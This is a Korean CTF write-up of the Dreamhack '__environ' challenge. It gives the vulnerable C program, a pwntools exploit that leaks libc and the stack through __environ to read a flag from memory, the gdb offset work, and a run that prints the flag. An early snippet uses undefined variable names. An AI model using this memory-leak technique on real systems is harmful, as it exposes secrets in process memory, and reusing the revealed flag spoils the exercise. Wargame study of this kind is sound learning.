[Dreamhack] __environ

Sisyphus·2022년 7월 31일
0

문제 코드

// Name: environ.c
// Compile: gcc -o environ environ.c

#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>

void sig_handle() {
  exit(0);
}
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  signal(SIGALRM, sig_handle);
  alarm(5);
}

void read_file() {
  char file_buf[4096];

  int fd = open("/home/environ_exercise/flag", O_RDONLY);
  read(fd, file_buf, sizeof(file_buf) - 1);
  close(fd);
}
int main() {
  char buf[1024];
  long addr;
  int idx;

  init();
  read_file();

  printf("stdout: %p\n", stdout);

  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("Addr: ");
        scanf("%ld", &addr);
        printf("%s", (char *)addr);
        break;
      default:
        break;
    }
  }
  return 0;
}


분석

보호 기법

❯ checksec environ_exercise
[*] '/root/wargame/environ_exercise'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled


코드 분석

  • read_file() 함수에서 flag 파일을 열고 읽고 있습니다.
  • stdout을 출력하고 있습니다.
  • 임의 주소 읽기 취약점이 존재합니다.

⇾ 예제처럼 __environ 주소를 기준으로 스택에서 flag 파일 주소를 알아내고 임의 주소 읽기 취약점으로 flag 파일 내용을 읽어 출력하면 될거 같습니다.



익스플로잇 코드

1. __environ 주소 계산

from pwn import *

def slog(name, addr):
        return success(": ".join([name, hex(addr)]))

p = process("./environ_exercise")
e = ELF("/lib/x86_64-linux-gnu/libc.so.6")


p.recvuntil(": ")

stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['__environ']

slog("libc base", libc_base)
slog("environ", environ)

2. 스택 주소 계산

gef➤  disas read_file
Dump of assembler code for function read_file:
...
   0x000055e8c6c00a2c <+54>:    lea    rcx,[rbp-0x1010]
   0x000055e8c6c00a33 <+61>:    mov    eax,DWORD PTR [rbp-0x1014]
   0x000055e8c6c00a39 <+67>:    mov    edx,0xfff
   0x000055e8c6c00a3e <+72>:    mov    rsi,rcx
   0x000055e8c6c00a41 <+75>:    mov    edi,eax
   0x000055e8c6c00a43 <+77>:    call   0x55e8c6c00810 <read@plt>
   0x000055e8c6c00a48 <+82>:    mov    eax,DWORD PTR [rbp-0x1014]
...
End of assembler dump.
gef➤  b * read_file+77
Breakpoint 1 at 0x55e8c6c00a43
gef➤  r
gef➤  x/x $rsi
0x7ffc0b408160: 0x00000000
gef➤  p/x __environ
$1 = 0x7ffc0b409698
gef➤  $ 0x7ffc0b409698-0x7ffc0b408160
5432
0x1538

3. 파일 내용 읽기

from pwn import *

def slog(name, addr):
        return success(": ".join([name, hex(addr)]))

#p = process("./environ_exercise")
p = remote("host3.dreamhack.games", 18056)
e = ELF("/lib/x86_64-linux-gnu/libc.so.6")

#context.log_level = 'debug'

p.recvuntil(": ")

stdout = int(p.recvuntil("\n"), 16)
libc_base = stdout - e.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + e.symbols['__environ']

slog("libc base", libc_base)
slog("libc environ", libc_environ)


p.sendlineafter(">", "1")
p.sendlineafter(":", str(libc_environ))

p.recv(1)
stack_environ = u64(p.recv(6).ljust(8, b"\x00")) 
file_content = stack_environ - 0x1538

slog("stack environ", stack_environ)
slog("file content", file_content)


p.sendlineafter(">", "1")
p.sendlineafter(":", str(file_content))


p.interactive()


익스플로잇

❯ python3 exploit.py 
[+] Opening connection to host3.dreamhack.games on port 18056: Done
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] libc base: 0x7f36e2300000
[+] libc environ: 0x7f36e26ee098
[+] stack environ: 0x7ffd8d90f078
[+] file content: 0x7ffd8d90db40
[*] Switching to interactive mode
 DH{d27721f1c8dd19d57e67f64cda6c7bca}
> $

0개의 댓글